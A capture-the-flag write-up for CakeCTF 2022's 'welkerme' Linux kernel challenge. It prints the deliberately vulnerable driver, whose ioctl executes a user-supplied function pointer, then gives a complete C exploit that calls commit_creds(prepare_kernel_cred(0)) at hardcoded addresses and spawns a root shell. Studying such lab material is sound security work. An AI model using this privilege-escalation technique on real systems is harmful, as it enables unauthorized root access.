Welkerme

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Attachments : welkerme.tar.gz , compress.sh


First of all, let’s have a look on the source code of the driver.

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#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/random.h>
#include <linux/slab.h>
#include <linux/uaccess.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("welkerme - CakeCTF 2022");

#define DEVICE_NAME "welkerme"
#define CMD_ECHO 0xc0de0001
#define CMD_EXEC 0xc0de0002

static int module_open(struct inode *inode, struct file *filp) {
  printk("'module_open' called\n");
  return 0;
}

static int module_close(struct inode *inode, struct file *filp) {
  printk("'module_close' called\n");
  return 0;
}

static long module_ioctl(struct file *filp,
                         unsigned int cmd,
                         unsigned long arg) {
  long (*code)(void);
  printk("'module_ioctl' called with cmd=0x%08x\n", cmd);

  switch (cmd) {
    case CMD_ECHO:
      printk("CMD_ECHO: arg=0x%016lx\n", arg);
      return arg;

    case CMD_EXEC:
      printk("CMD_EXEC: arg=0x%016lx\n", arg);
      code = (long (*)(void))(arg);
      return code();

    default:
      return -EINVAL;
  }
}

static struct file_operations module_fops = {
  .owner   = THIS_MODULE,
  .open    = module_open,
  .release = module_close,
  .unlocked_ioctl = module_ioctl
};

static dev_t dev_id;
static struct cdev c_dev;

static int __init module_initialize(void)
{
  if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME))
    return -EBUSY;

  cdev_init(&c_dev, &module_fops);
  c_dev.owner = THIS_MODULE;

  if (cdev_add(&c_dev, dev_id, 1)) {
    unregister_chrdev_region(dev_id, 1);
    return -EBUSY;
  }

  return 0;
}

static void __exit module_cleanup(void)
{
  cdev_del(&c_dev);
  unregister_chrdev_region(dev_id, 1);
}

module_init(module_initialize);
module_exit(module_cleanup);

This is the source code of a kernel module. Inserting or loading the module into the kernel creates a device (file) at /dev/welkerme. We can interact with the driver using ioctl. Calling ioctl with the command CMD_EXEC i.e 0xc0de0002 would call an arbitrary function pointer supplied by the user as ioctl arg. 

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case CMD_EXEC:
      printk("CMD_EXEC: arg=0x%016lx\n", arg);
      code = (long (*)(void))(arg);
      return code();

Before actually doing something, let’s have a look on some core concepts related to privilege escalation.

task_struct

This is the Process Control Block and stores all the information needed by a process. Every task has a task_struct object living in memory. 

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struct task_struct {
    volatile long state;            // process state (running, stopped, ...)
    void *stack;                    // task's stack pointer
    int prio;                       // process priority
    struct mm_struct *mm;           // memory address space
    struct files_struct *files;     // open file information
    const struct cred *cred;        // credentials
  // ...
};

struct cred {
    // .
    // .
    // .
    kuid_t  uid;        /* real UID of the task */
    kgid_t  gid;        /* real GID of the task */
    kuid_t  suid;       /* saved UID of the task */
    kgid_t  sgid;       /* saved GID of the task */
    kuid_t  euid;       /* effective UID of the task */
    kgid_t  egid;       /* effective GID of the task */
    // .
    // .
    // .
};

The cred struct stores information about the owner, capabilities,etc. of a process. Privilege escalation is achieved via changing current_task->cred->euid to 0. (Might need to change some other id’s depending on situation). The following code will do this for us!

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commit_creds(prepare_kernel_cred(0));

prepare_kernel_cred prepares a set of credentials for a kernel service which is committed by passing its return value as an argument to the function commit_creds.

Cool, not let’s find out the address of prepare_kernel_cred and commit_creds. To do this, we need to read /proc/kallsyms by booting into the kernel as root. Run debug.sh, provided by the author. 

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/ # cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff810726e0 T prepare_kernel_cred

/ # cat /proc/kallsyms | grep commit_creds
ffffffff81072540 T commit_creds

Let’s write a helper function for calling commit_creds(prepare_kernel_cred(0))

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void getRoot(){
    void* (*prepare_kernel_cred)(int) = 0xffffffff810726e0;
    void (*commit_creds)(void*) = 0xffffffff81072540;
    commit_creds(prepare_kernel_cred(0));
}

After that, we only need to call ioctl and supply a pointer to the function getRoot

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ioctl(fd, CMD_EXEC, &getRoot);
system("/bin/sh");

Complete exploit:

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#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>

#define CMD_ECHO 0xc0de0001
#define CMD_EXEC 0xc0de0002

void getRoot(){
   void* (*prepare_kernel_cred)(int) = (void*)0xffffffff810726e0;
    void (*commit_creds)(void*) = (void*)0xffffffff81072540;
    commit_creds(prepare_kernel_cred(0));
}

int main(void) {
  int fd = open("/dev/welkerme",O_RDWR);
  if(fd==-1){
    perror("open");
    exit(1);
  }

  ioctl(fd, CMD_EXEC, &getRoot);
  system("/bin/sh");
  close(fd);
  return 0;
}

Compile, deliver and run this exploit to escalate privileges to the root!

References

https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/